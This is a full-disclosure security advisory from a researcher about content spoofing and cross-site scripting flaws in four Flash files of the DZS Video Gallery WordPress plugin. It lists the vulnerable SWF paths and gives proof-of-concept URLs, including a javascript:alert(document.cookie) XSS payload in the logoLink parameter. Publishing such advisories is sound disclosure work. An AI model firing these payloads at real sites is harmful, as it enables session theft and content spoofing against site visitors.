WordPress DZS Video Gallery Cross Site Scripting / Content Spoofing

`Hello list!  
  
There are Content Spoofing and Cross-Site Scripting vulnerabilities in  
plugin DZS Video Gallery for WordPress. After I announced multiple  
vulnerabilities in DZS Video Gallery at 08.05.2014 and informed developers,  
they ignored it, so the second advisory is going directly to full disclosure  
(and details of the first advisory will be disclosed next month).  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are all versions of DZS Video Gallery for WordPress.  
  
-------------------------  
Affected vendors:  
-------------------------  
  
Digital Zoom Studio  
http://digitalzoomstudio.net  
  
----------  
Details:  
----------  
  
There are 4 flash-files, which are vulnerable to CS and XSS. So all  
flash-files have 12 vulnerabilities in total.  
  
http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf  
http://site/wp-content/plugins/dzs-videogallery/deploy/preview_skin_rouge.swf  
http://site/wp-content/plugins/dzs-videogallery/deploy/preview_allchars.swf  
http://site/wp-content/plugins/dzs-videogallery/deploy/preview_skin_overlay.swf  
  
Content Spoofing (WASC-12):  
  
Swf-file accepts arbitrary addresses in parameters video and thumb, which  
allows to spoof content of flash - i.e. by setting addresses of video and/or  
image files from other site.  
  
http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf?video=1.flv&thumb=1.jpg  
  
Content Spoofing (WASC-12):  
  
Swf-file accepts arbitrary addresses in parameters logo and logoLink, which  
allows to inject logo and link to external site.  
  
http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf?video=1.flv&logo=1.jpg&logoLink=http://websecurity.com.ua  
  
Cross-Site Scripting (WASC-08):  
  
http://site/wp-content/plugins/dzs-videogallery/deploy/preview.swf?video=1.flv&logo=1.jpg&logoLink=javascript:alert(document.cookie)  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/7183/).  
  
Best wishes & regards,  
Eugene Dokukin aka MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`